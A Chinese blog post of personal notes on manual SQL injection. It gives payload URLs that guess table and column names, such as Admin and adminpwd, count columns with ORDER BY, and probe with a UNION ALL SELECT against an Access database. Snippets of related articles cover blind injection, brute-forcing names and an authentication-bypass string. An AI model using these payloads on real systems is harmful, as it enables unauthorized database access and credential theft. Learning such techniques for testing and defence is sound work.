sql注入，手动猜表名字段名

最新推荐文章于 2025-05-26 23:27:52 发布
最新推荐文章于 2025-05-26 23:27:52 发布
阅读量1w 收藏 4
点赞数
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/pigHead_chen/article/details/8183131
本文介绍了一种通过SQL注入技术猜测数据库表名、字段名及表中字段数量的方法，包括验证表是否存在、字段是否存在及字段个数的探测过程。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

方法从网上看来的，记下来以后看。

1，猜表名：

abc.asp?id=12 and 0 <= (select COUNT(*) from [User])

错误结果显示米有User表。

 

abc.asp?id=12 and 0 <= (select COUNT(*) from [Admin])

加载。。。，说明存在表Admin。

 

2，猜字段名：

abc.asp?id=12 and 0 <= (select COUNT(id) from [Admin])

加载。。。，说明表Admin有字段id。

abc.asp?id=12 and 0 <= (select COUNT(password) from [Admin])

abc.asp?id=12 and 0 <= (select COUNT(adminpwd) from [Admin])

加载。。。，说明表Admin有字段adminpwd。

 

3，查看字段个数

abc.asp?id=12 order by 10 

加载

abc.asp?id=12 order by 20 

加载

abc.asp?id=12 order by 27 

加载

abc.asp?id=12 order by 28

说明表有27个字段

abc.asp?id=12 uNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,null,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%00

加载。。。。

 

pigHead_chen
关注
15.SQL注入-暴力破解表(列)名-字符型
愿听风成曲
07-17 462
bp工具抓包发送到intruder里调试，清楚所有变量，将aa添加变量，然后模式是sniper。将payload语句输入到字符型中查询，然后进行bp工具抓包。bp工具抓包在发送到intruder里调试，将aa添加变量。在字符型输入payload语句查询同时使用bp工具抓包。开始暴力破解攻击猜测中了id，username两个字段。猜中了表名users，然后开始暴力破解猜表中的字段。然后开始暴力破解，猜中了users这个表。我这里手动添加几个字段，红框是真的字段。开始验证猜测出来的字段，举例：id。
sql注入_表名、列名字典
05-06
union select * from 表名字典 union select 列名字典 from 表名
MSSQL注入利用Group by&having猜表名和字段名
收集盒 Book box
09-06 4243
转自灵魂BLOG！！ lcx和剑心等大牛在06年的时候就已经在用这种语法了，而我等小辈到最近才领略到，惭愧惭愧...... 手头暂时没有注入点测试，就先以我机器上的MSSQL做实验吧。 下面的语句我直接写完整的SQL语句，注入的时候稍微改改就能用了，呵呵。 假如现
SQL注入：从原理到实战，新手必防的“数据库漏洞杀手”（SQL盲注篇）
最新发布
2302_81945070的博客
05-26 1309
布尔盲注和时间盲注的详细注入流程。
SQL注入--表的猜解
写下些记录
02-08 5184
步骤 表名—&amp;gt;列名—&amp;gt;列长度—&amp;gt;具体值 例如：注入点 http://www.XX.com/index.asp?id=1 猜解表名：http://www.XX.com/index.asp?id=1 and exists select * from 猜测的表名 猜解列名：http://www.XX.com/index.asp?id=1 and exists selec...
server sql 根据列明获取表名_简单SQL注入的手工测试
weixin_30739835的博客
12-28 303
SQL注入在线练习平台(http://leettime.net)练习基础模块41、判断闭合字符和列数http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1正常显示内容双引号闭合 " 显示正常页面这个就不是闭合字符http://leettime.net/sqlninja.com/tasks/basic_ch4.php?id=1%22双引号和...
mysql order by sql注入_萌新的手工sql注入入门--mysql（普通sql注入篇）
weixin_33613571的博客
01-21 472
sql注入主要分为普通的sql注入，还有盲注这一篇主要是记录普通的sql注入sql注入的主要流程：1.寻找注入点/判断该表单是否可注入：主要运用的方法是，构造错误的语句(在正常输入的后面加上如单引号等敏感符号)如：1’ ，1#等同时，注入类型分为三类，数字类，字符类，还有如like%%等搜索函数根据返回的结果进行判断是普通的sql注入还是盲注。2.找到注入点之后，利用order by 猜解字段个数...
SQL注入手动盲注案例
05-30
### SQL注入手动盲注案例详解 #### 一、SQL注入概念 SQL注入是一种常见的Web应用程序安全漏洞，攻击者可以通过在应用程序的输入字段中插入恶意SQL语句来操纵或窃取数据库中的信息。手动盲注是一种高级技巧，适用于...
pangolinsdl—sql注入工具
06-20
- **自动化扫描**：工具能自动检测潜在的SQL注入点，减轻了手动测试的负担。 - **深度扫描**：它深入分析应用程序的输入参数，查找可能的注入点。 - **智能分析**：PangolinsDL使用算法识别SQL语句结构，提高测试...
​ 认识SQL注入，以及手动注入方法
04-17
- 获取数据库名字：使用SQL注入语句查询出数据库的名字。 - 获取数据库中的表：进一步注入，获取数据库中存在的表名。 - 获取表中的字段：查询出指定表中的字段名。 - 获取字段表中的数据：最终通过注入获取到表...
Hibernate使用中防止SQL注入的几种方案
01-20
在使用Hibernate进行数据库操作时，虽然它提供了便捷的ORM（对象关系映射）功能，但同时也需要关注SQL注入的安全问题。SQL注入是一种常见的攻击手段，攻击者可以通过输入恶意的SQL语句来篡改数据库信息，严重威胁...
ctf小经验sql注入
04-11
sql注入一、找到注入点； 二、判断当前表的字段； 三、用联合语句查看哪几位是有效位； 四、查看当前数据库中有哪些表； 五、查看表中有哪些属性；
SQL语句 注入猜解hack工具
08-30
万能SQL注入工具 本工具是用来进行SQL注入猜解的工具，主要针对一些没有错误返回信息的网站的表结构猜解（当然，如果有错误返回这个工具也适用，只是没必要使用这个工具了，因为有更好更快捷的工具），尤其是Java+Oracle，PHP+MySQL以及一部分ASP+SQLServer的网站，具体特点如下： 与脚本语言无关，即：无论网站使用什么脚本都可以进行注入猜解； 手动猜解模式与数据库无关，即：支持所有的数据库； 自动猜解模式下支持SQLServer、Oracle数据库； 良好的性能，对所在主机的性能影响很小； 快速的猜解算法； 支持双字节、Unicode、UTF-8编码；
SQL注入
chainsofted的博客
08-06 1552
思路:需要用order by检测他的列数 列数3列;让第一个表查询为空 库名security;最终目的 注入管理员账号密码;首先你要管理员表的表名;列名\1. 查表名:select table_name from tables where table_schema=’security’;\2. 查表的列名:select column_name from columns weher table_schema=’security’ and table_name=’users’;
SQL注入讲课准备
weixin_62420492的博客
01-15 608
一.基本函数
sql注入3——猜解
网络设备配置-华为
06-06 463
上两节的实验都是我们对数据库有极大的权限去执行的，是一个理想化的状态。但是实际上，即使存在sql注入的漏洞，在用户操作层面的权限肯定不会是root权限。就是information_schema这个库我们无法查询，甚至union、order by等语句也无法使用；即我们无法直接查询到库、表、列等等信息。这个时候我们就需要花费多一点时间和资源去对数据库进行猜解了。 ！！！一个存在sql漏洞的页面，在进...
sql盲注
十五年游戏主程转渗透之路
03-29 1956
布尔盲注，bool盲注，时间盲注
SQL盲注
weixin_59872639的博客
02-18 2610
盲注 在SQL注入过程中，SQL语句执行后，选择的数据不能回显到前端页面，此时需要利用一些方法进行判断或者尝试，这个过程称之为盲注。 在盲注中，攻击者根据其返回页面的不同来判断信息（可能是页面内容的不同，也可以是响应时间不同）。一般情况下，盲注可分为两类： 基于布尔的盲注（Boolean based） 基于时间的盲注（Time based） 基于布尔的盲注 某些场合下，页面返回的结果只有两种(正常或错误) 。通过构造SQL判断语句，查看页面的返回结果（True or False）来判断哪些S
系列2：7、sql注入之盲注
qq_44704184的博客
03-31 3645
sql盲注 一、报错盲注 基于报错的SQL盲注–报错回显（强制性报错)函数解析: （这两个函数在使用过程中，如果第二个参数不是XPath格式，则会报错） 1、updatexml() 从目标XML中更改包含所查询值的字符串 第一个参数: XML_document是String格式，为XML文档对象的名称，文中为DOC 第二个参数:XPath_string(Xpath格式字符串) 第三个参数: new_value,String格式，替换查找到的符合条件的数据 updatexml (XML_document,XP
sql注入手动注入分隔符
01-11
### SQL 注入中的分隔符使用 在执行SQL注入攻击时，攻击者通常会利用输入字段来插入恶意的SQL语句。为了使这些额外的查询生效而不破坏原始查询结构，分隔符被用来结束原定的SQL命令并开始新的命令。 对于大多数关系型数据库管理系统（RDBMS），如MySQL、PostgreSQL以及Microsoft SQL Server，在SQL语句之间可以使用`;`作为标准的终止字符[^1]。这意味着如果存在可利用的地方，攻击者可以在该位置之后附加自己的逻辑表达式或新指令： ```sql ' OR '1'='1'; -- ``` 上述例子展示了如何通过闭合预期字符串参数并将条件设置为总是真(`OR '1'='1`)的方式绕过认证机制；紧接着是以分号结尾以确保后续原有代码不会干扰到已插入部分的效果，并加上注释符号防止后面可能存在的任何合法查询引起错误。 然而值得注意的是不同类型的 RDBMS 对于多条命令的支持程度有所差异。例如，在某些情况下Web应用程序可能会调用预编译好的存储过程而不是直接运行传入的文本形式的SQL，这时即使成功加入了分号也未必能实现预期效果。 另外一种情况是在构建动态SQL的时候，开发者有时会在拼接过程中遗漏掉必要的转义处理从而留下安全隐患。此时虽然没有明显的语法边界可供利用，但是仍然可以通过精心构造的数据让服务器端解析出意料之外的行为模式。 总之，尽管`;`是最常见的用于分割多个独立操作的选择之一，但在实际应用环境中应当考虑更多因素才能有效实施此类技术手段。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值